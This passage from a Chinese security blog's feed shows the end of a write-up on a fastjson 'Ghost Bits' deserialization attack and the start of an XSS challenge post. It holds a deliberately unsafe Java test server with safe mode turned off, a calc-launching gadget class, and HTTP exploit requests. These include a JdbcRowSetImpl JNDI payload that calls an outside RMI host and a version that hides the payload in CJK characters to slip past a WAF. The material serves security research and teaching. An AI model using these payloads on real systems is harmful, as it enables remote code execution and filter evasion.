class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/exploit?data=%7B%22癀type%22%3A%22BitsTest%24Calculator%22%7D</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>localhost:8080</span><br><span class="line"><span class="attribute">sec-ch-ua</span><span class="punctuation">: </span>&quot;Not-A.Brand&quot;;v=&quot;24&quot;, &quot;Chromium&quot;;v=&quot;146&quot;</span><br><span class="line"><span class="attribute">sec-ch-ua-mobile</span><span class="punctuation">: </span>?0</span><br><span class="line"><span class="attribute">sec-ch-ua-platform</span><span class="punctuation">: </span>&quot;macOS&quot;</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.9</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line"><span class="attribute">Sec-Fetch-Site</span><span class="punctuation">: </span>none</span><br><span class="line"><span class="attribute">Sec-Fetch-Mode</span><span class="punctuation">: </span>navigate</span><br><span class="line"><span class="attribute">Sec-Fetch-User</span><span class="punctuation">: </span>?1</span><br><span class="line"><span class="attribute">Sec-Fetch-Dest</span><span class="punctuation">: </span>document</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate, br</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>实验环境代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.parser.ParserConfig;</span><br><span class="line"><span class="keyword">import</span> com.sun.net.httpserver.HttpExchange;</span><br><span class="line"><span class="keyword">import</span> com.sun.net.httpserver.HttpHandler;</span><br><span class="line"><span class="keyword">import</span> com.sun.net.httpserver.HttpServer;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.OutputStream;</span><br><span class="line"><span class="keyword">import</span> java.net.InetSocketAddress;</span><br><span class="line"><span class="keyword">import</span> java.net.URLDecoder;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BitsTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Calculator</span> &#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">Calculator</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">os</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;os.name&quot;</span>).toLowerCase();</span><br><span class="line">            <span class="keyword">if</span> (os.contains(<span class="string">&quot;win&quot;</span>)) &#123;</span><br><span class="line">                Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (os.contains(<span class="string">&quot;mac&quot;</span>)) &#123;</span><br><span class="line">                Runtime.getRuntime().exec(<span class="string">&quot;open -a Calculator.app&quot;</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                Runtime.getRuntime().exec(<span class="string">&quot;xcalc&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        ParserConfig.getGlobalInstance().setSafeMode(<span class="literal">false</span>);</span><br><span class="line">        ParserConfig.getGlobalInstance().setAutoTypeSupport(<span class="literal">true</span>);</span><br><span class="line">        ParserConfig.getGlobalInstance().addAccept(<span class="string">&quot;BitsTest&quot;</span>);</span><br><span class="line">        <span class="type">int</span> <span class="variable">port</span> <span class="operator">=</span> <span class="number">8080</span>;</span><br><span class="line">        <span class="type">HttpServer</span> <span class="variable">server</span> <span class="operator">=</span> HttpServer.create(<span class="keyword">new</span> <span class="title class_">InetSocketAddress</span>(port), <span class="number">0</span>);</span><br><span class="line">        server.createContext(<span class="string">&quot;/exploit&quot;</span>, <span class="keyword">new</span> <span class="title class_">DynamicHandler</span>());</span><br><span class="line">        server.setExecutor(<span class="literal">null</span>);</span><br><span class="line">        server.start();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">DynamicHandler</span> <span class="keyword">implements</span> <span class="title class_">HttpHandler</span> &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handle</span><span class="params">(HttpExchange exchange)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">query</span> <span class="operator">=</span> exchange.getRequestURI().getRawQuery();</span><br><span class="line">            Map&lt;String, String&gt; params = parseQuery(query);</span><br><span class="line">            <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> params.get(<span class="string">&quot;data&quot;</span>);</span><br><span class="line">            String responseText;</span><br><span class="line">            <span class="keyword">if</span> (payload != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">decodedPayload</span> <span class="operator">=</span> URLDecoder.decode(payload, <span class="string">&quot;UTF-8&quot;</span>);</span><br><span class="line">                    <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> JSON.parse(decodedPayload);</span><br><span class="line">                    <span class="keyword">if</span> (obj != <span class="literal">null</span>) &#123;</span><br><span class="line">                        responseText = <span class="string">&quot;Success: &quot;</span> + obj.getClass().getName();</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        responseText = <span class="string">&quot;Parsed result is null.&quot;</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                    responseText = <span class="string">&quot;Error: &quot;</span> + e.toString();</span><br><span class="line">                    e.printStackTrace();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                responseText = <span class="string">&quot;Usage: ?data=&#123;payload&#125;&quot;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            exchange.sendResponseHeaders(<span class="number">200</span>, responseText.getBytes().length);</span><br><span class="line">            <span class="type">OutputStream</span> <span class="variable">os</span> <span class="operator">=</span> exchange.getResponseBody();</span><br><span class="line">            os.write(responseText.getBytes());</span><br><span class="line">            os.close();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">private</span> Map&lt;String, String&gt; <span class="title function_">parseQuery</span><span class="params">(String query)</span> &#123;</span><br><span class="line">            Map&lt;String, String&gt; result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">            <span class="keyword">if</span> (query == <span class="literal">null</span>) <span class="keyword">return</span> result;</span><br><span class="line">            String[] pairs = query.split(<span class="string">&quot;&amp;&quot;</span>);</span><br><span class="line">            <span class="keyword">for</span> (String pair : pairs) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">idx</span> <span class="operator">=</span> pair.indexOf(<span class="string">&quot;=&quot;</span>);</span><br><span class="line">                <span class="keyword">if</span> (idx != -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> pair.substring(<span class="number">0</span>, idx);</span><br><span class="line">                    <span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> pair.substring(idx + <span class="number">1</span>);</span><br><span class="line">                    result.put(key, value);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> result;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>你可以这样子发送</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/exploit?data=%7B%22陀陴陹陰陥%22%3A%22BitsTest%24Calculator%22%7D</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>localhost:8080</span><br><span class="line"><span class="attribute">sec-ch-ua</span><span class="punctuation">: </span>&quot;Not-A.Brand&quot;;v=&quot;24&quot;, &quot;Chromium&quot;;v=&quot;146&quot;</span><br><span class="line"><span class="attribute">sec-ch-ua-mobile</span><span class="punctuation">: </span>?0</span><br><span class="line"><span class="attribute">sec-ch-ua-platform</span><span class="punctuation">: </span>&quot;macOS&quot;</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.9</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line"><span class="attribute">Sec-Fetch-Site</span><span class="punctuation">: </span>none</span><br><span class="line"><span class="attribute">Sec-Fetch-Mode</span><span class="punctuation">: </span>navigate</span><br><span class="line"><span class="attribute">Sec-Fetch-User</span><span class="punctuation">: </span>?1</span><br><span class="line"><span class="attribute">Sec-Fetch-Dest</span><span class="punctuation">: </span>document</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate, br</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260430183756820.png" alt="image-20260430183756442"></p><p>还挺好玩的，试试看能不能绕 waf</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/exploit?data=%7B%22%40type%22%3A%22BitsTest%24Calculator%22%2C%20%20%20%22b%22%3A%7B%0D%0A%20%20%20%20%20%20%20%20%22%40type%22%3A%22com%2Esun%2Erowset%2EJdbcRowSetImpl%22%2C%0D%0A%20%20%20%20%20%20%20%20%22dataSourceName%22%3A%22rmi%3A%2F%2Fnmsl%2Ecnm%3A9999%2FExploit%22%2C%0D%0A%20%20%20%20%20%20%20%20%22autoCommit%22%3Atrue%0D%0A%20%20%20%20%7D%7D</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>192.168.50.88:13232</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.9</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate, br</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>sl-session=BK/NXLCC9Gkvh8ePXxn3uQ==</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260430183923899.png" alt="image-20260430183923709"></p><p>然后尝试中文绕过</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/exploit?data=%7B%22%40type%22%3A%22BitsTest%24Calculator%22%2C%22b%22%3A%7B%22%40type%22%3A%22%E9%99%A3%E9%99%AF%E9%99%AD%E9%98%AE%E9%99%B3%E9%99%B5%E9%99%AE%E9%98%AE%E9%99%B2%E9%99%AF%E9%99%B7%E9%99%B3%E9%99%A5%E9%99%B4%E9%98%AE%E9%99%8A%E9%99%A4%E9%99%A2%E9%99%A3%E9%99%92%E9%99%AF%E9%99%B7%E9%99%93%E9%99%A5%E9%99%B4%E9%99%89%E9%99%AD%E9%99%B0%E9%99%AC%22%2C%22dataSourceName%22%3A%22%E9%99%B2%E9%99%AD%E9%99%A9%E9%98%BA%E9%98%AF%E9%98%AF%E9%99%AE%E9%99%AD%E9%99%B3%E9%99%AC%E9%98%AE%E9%99%A3%E9%99%AE%E9%99%AD%E9%98%BA%E9%98%B9%E9%98%B9%E9%98%B9%E9%98%B9%E9%98%AF%E9%99%85%E9%99%B8%E9%99%B0%E9%99%AC%E9%99%AF%E9%99%A9%E9%99%B4%22%2C%22autoCommit%22%3Atrue%7D%7D</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>192.168.50.88:13232</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.9</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate, br</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>sl-session=BK/NXLCC9Gkvh8ePXxn3uQ==</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260430184055592.png" alt="image-20260430184055495"></p><h3 id="如何防御"><a href="#如何防御" class="headerlink" title="如何防御"></a>如何防御</h3><p>网上防御姿势都写了，这里我就不贴出来了，给大家一个 prompt 吧，用 ai 来分析就行</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Copy-Fail"><a href="#Copy-Fail" class="headerlink" title="Copy Fail"></a>Copy Fail</h2><p>CVE编号：CVE-2026-31431</p><p>这</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><p><a href="https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf">https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;这两个都是最近比较有意思的漏洞，一个是应用层的，一个是系统层的，咱们一个一个来&lt;/p&gt;
&lt;h2 id=&quot;Ghost-Bits&quot;&gt;&lt;a href=&quot;#Ghost-Bits&quot; class=&quot;headerlink&quot; title=&quot;Ghost Bits&quot;&gt;&lt;/a&gt;Ghost Bit</summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="pwn" scheme="https://iloli.moe/tags/pwn/"/>
    
    <category term="Security" scheme="https://iloli.moe/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>2026 Spring Recruitment Record</title>
    <link href="https://iloli.moe/2026/04/29/2026-Spring-Recruitment-Record/"/>
    <id>https://iloli.moe/2026/04/29/2026-Spring-Recruitment-Record/</id>
    <published>2026-04-29T14:32:44.000Z</published>
    <updated>2026-05-07T04:50:46.607Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="a8caec660a022b75734dbfa4852ed9b52d463bf0406408d08aa68e919a826a60">a31a214765223895abe4b72764a1c0d9d7959bd605715df13a44d4b154f95c7446e370444bf15b99dcc405c6c6c0fd2797c66595c6cf82a03c84d5dd790e0cc0228d47346710c3f666a1416b00bfd6836c0174e4bc3e235027ff33d8459111fe1e2a91b13aa7393c2406b791f2dcace03310c1074994f1875f24c45182a2d5a0451a20e57f2c37458cdd2fff9e0f036bb7a4f30bc5ce61204d815ce8384819f240cba3a9a6809edca7d7cd478d263120e5b250a00e84c6845fe38d361256c5e2f1f9027302487f550c06ccbe1c87034636a318308be00a5e3f75db3701327f39ccc8761d0dc48ed8f84536e13f0cf3621a1d1aaff22d17e7e7847c03a39f52c0e5ec62d0e10d2d4a6b2ed387c3b5ad2ed9437857b01e2f3aad737afc9aaec3e17a306c98cd304f5f7f3227966287b02bcc0aef7ddae6c94b81467289ef9d87923674576edf908664fb3e085c504a235774cba8e236eac5dc48d88e5a99d88357214acedd8a5a88c2dec8b586bdb8cb6565a4c835726ef2a5df20c16aebdd05d875ef4796d021464e39905e0c347b45e659af2eaae1320a4d4df93532767a30b0f64fcd6e349e417bfb217b0a1072181e166ecd659a9a5566c39d85118bc985f0d2a9d2c50a86a12a838edf65d883d91e412a63de80e6aa2160392aeee2d61b9367e52ca939e1a139f353e4022ed4f02df584928b0933d634cf4a9a7b3e2b9a0148428843bf673f2ae37879cc7b32be825652aae78535ef0e3ff5526f7ea500a3f272f12f443fab3523097051783f23aaf1fcaaabc80408bb1cd2f8143ff39c44d112a51cd13689340f3eeea89d9edfeea175dce14080430c67c320e2e60cacdbfab969dd8defd1cd70359dcbbea40589bc783ed36b94632b1fb9043e78c66935c8c85788d8845a42287234f9779e9119df770fe27b8842e6daa4d1efa825bf2f8f64c7017b1b45f42b8591bed9a041cb26027d59532451641896eb2b8179a236e3195ed97c1fa07c114001834f630882ed50d64258aeea95b7c8ad6290d09691749eb1d2a68bb7768ecc8d6672657901ad96b5f3973101b39e3d911fee2e2e8a58b335d87426eadda5c966c542f8cf40e75c8f1e5873ac67f9be3d800aa71bae2f7cfd219bffaf2195edcc4d4b50a315397aab2c701d53facf4bbdb21f988c2ce2966b8018f1d057c7ba61c1ee29a90801d576f346bf2107de17f62a147b7cdfcb48c1cd6bd623668335b1f0fc57ff236ee14a20a87b3f5bcdbfc1ce60ab7741c6133513410a32e0c7609fea20b37e21f010ae25db0871f0f7fe6ff9f0035f0aa52854ab90eda1544e03b959b5ed9ea9c94e28e1914266f2eb638701b69086b0d7330359d6ccd2a3b7171eaed969d5aea33186c56ec0bb406904e1112cdabf8973920b37a25a53c24c595617f0f996eededa626126486e50cb5557cd35e5f997b03e810739ce86f15a8a441bea924212e3710ba7f32560bacda369ad02f77353935b90fa35d427d496f9d48553caa4a013bd6e323bf364bd303925edfac89d47ca9c8f43f8b9d8f380b858af61c1a06cc6f258131ac82465339b9a0d9617131e0aa13ee1afad136f3eb547ebe3b731abdfbb5d055a64fdd811bac6cb485884d2a8203a999c332e1c73a5b8c0c73d68bd6a0504887f110a09f83c535d4427c3e87768df97f669b66f56968c8df9ec080775d8d14baa27bf341d9c2b717c435154bdb86910425e4dc85c30a35eae252ae12cae1a14da1d2a5b51093ab88c888458d1a8548770a4a7b7b0d36a2d080b82b599018f9e5947cf6b6e2394291c480c5fda9a44e7ebbe05920d28309b76d89a75a222b8234c75ca36bdb41ce5f49eb7f32fb14dd9da5da2c22f66a25f22cf9eafcfca5c4878e1773e765bc9569f5c30b925feb62d706da434884faa9d878243ad32f5f3d5e91f66bd74b63eacb2cf3653e13aeabeee09d090d70d743b155176f99cbb90ce384d4a137c04daec8e0f5bed5919912106284d51c612b84d7c2ed1123dc672f605b5225dbb5f6f4108aec48a2ab87fe8764cb5770ab82dbb1e136dcd7e4f384c859632ad53ee4420b32a3d089a152edea2e1bb1940c3c67ae02b42e8b48ba8c22c305e98af867d70dc3215d976670cf9563a32edc0aa4458bdbb71ca748fc86e74d089c2b3ed122911f76c23efdf687c2d7ff34cd3276c5ec3ae20b5bc0ae1ddabd99705f7deed7fdc4e624f565c83fb117f02e68edf4412e912559aa436785e236f89c0dca656ec450ba64feb56d7ea197fd38342710c214f0f37421d2fd36fb0d97c8c9869e8ebf68eebcaaae85421aa8298d70c384f66f4d35dc2473afe7b9586cc1246d30b11d113e54dffe956d2f72ae5c56a15597f8b37ea12ba13fad23324fe5520407472bf718e5a260c87c31c7e3175a14c2f235d4fc99ec21e52cab7a413dc17113a3bc05c2335264aa88a37949b073bfaccd6c39e808cb2e88eb910174c578888fbea768fbbbbd949d060f64b8e64e632768bfc777c0a284831b357461faf835d1e55526fc0f2a7bf35ddc33888bba5c4e7eba8083d6a0a02089fe7c8ff72eeedd5d225ada708bec8bf0bb9a3c32183cfa613fc959595d12e25a9e069db88e7d4e4a11d2da32b808423c2d9f7ef9a7ff13747bc9f12fda0d030108a02be09df645d9aa64d8c7bd071f3965e87ae364416ac11a65a34391988931ba0faa55faf57f4b584e2f6a8d44fb4e09b8f465d7109a6337b14d6efb7a8332dda515c41447bfc42a76613912f7d6b6e0446bd91672e59ff3ee0acfe37faa43c81c3e52f9043d08ccf102c70f2a4e6c59eba652f7e5b36e85a70b2576d47c180d29fad2b9e6c6e9638a435dd07e8c73c49425dce034277c8b7edd764bb21196c988d09c37b037f9534f196973003063893c5b82d3fb1e9b8e8a68ab0288e58eff32779df0091f498a463ceccaf670cf5d8af3b045a6192bd056f44ad6bb500b86b3a233d658e172035a61aef416385667d7891a0c526174dc90b4048f3a407a9bc9d1199280b0de06bd15b73f1a00fa2184ecf968a63a2d7ba0067c451d083bbfc5b3a3208d1254c396453bea05c8d209c4cde9bc38f2dfb73a78292e5bd431ecdc77caac4643a4e54bdc8ba6b345ae938d2d0629bb52c1ade04ee2768db88787b39137bcb37119cb7f80f7ad176a27bd63ce9de1fc688830cd3364a21b7968f431a83d9564222cbd2ace63093ee0be4e362cb2c3d0e7f5b17486c8035c03b87c36eaa887a699bf57bc116978453b7e54cd3b883bac9582b21a838a9dd99dc9488b2d8b46813f4b40ed2047dbb4550da35afe736f61907ad03f6df3f8d00aa7310e7d20b9c150fddfe2e1813da2afc6db2739b8bb156f6c7266b7f7c96733293f3a1d2a767317f34c9bf96d9f685f148bfbda55dbd3acfebd60eef9e4749f71a8a465e168a50c6c7fcdd35ff050c5c0ba060f024e46bbc0b5a3078e09e7c608a167a2d55ac2e9c1f696f6be410eb69cb0cb567057ca02e9ed2b2f828d0bca37483030e148a4b7e804fea98947e772dd360819e1cdd5bc3b5f898d76caa565c5cda9e17b53912feffd8eaf59fb493aee213bf1ca8b3cf013f240a2dfda0d4aa01213a83fa4edba13e0268fe29</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    <category term="Life" scheme="https://iloli.moe/categories/Life/"/>
    
    
    <category term="Life" scheme="https://iloli.moe/tags/Life/"/>
    
  </entry>
  
  <entry>
    <title>How can an XSS vulnerability be created by polluting excessively long parameters?</title>
    <link href="https://iloli.moe/2026/04/15/How-can-an-XSS-vulnerability-be-created-by-polluting-excessively-long-parameters/"/>
    <id>https://iloli.moe/2026/04/15/How-can-an-XSS-vulnerability-be-created-by-polluting-excessively-long-parameters/</id>
    <published>2026-04-15T11:15:54.000Z</published>
    <updated>2026-05-07T04:50:46.607Z</updated>
    
    <content type="html"><![CDATA[<p>几个月前老外发的挑战，我也不想起英文标题啊😭，但是中文标题SEO不好做啊</p><hr><p>挑战源代码如下，需要的自取</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">&#x27;express&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> app = <span class="title function_">express</span>();</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">set</span>(<span class="string">&#x27;query parser&#x27;</span>, <span class="string">&#x27;extended&#x27;</span>);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&#x27;/&#x27;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">const</span> redirectUri = req.<span class="property">query</span>.<span class="property">redirect_uri</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!redirectUri) &#123;</span><br><span class="line">    <span class="keyword">return</span> res.<span class="title function_">send</span>(<span class="string">&quot;redirect_uri is required&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (redirectUri !== <span class="string">&quot;https://pwnbox.xyz/docs&quot;</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> res.<span class="title function_">send</span>(<span class="string">&quot;Invalid redirect_uri&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> res.<span class="title function_">send</span>(<span class="string">`</span></span><br><span class="line"><span class="string">    &lt;script&gt;</span></span><br><span class="line"><span class="string">      location = new URLSearchParams(window.location.search).get(&quot;redirect_uri&quot;);</span></span><br><span class="line"><span class="string">    &lt;/script&gt;</span></span><br><span class="line"><span class="string">  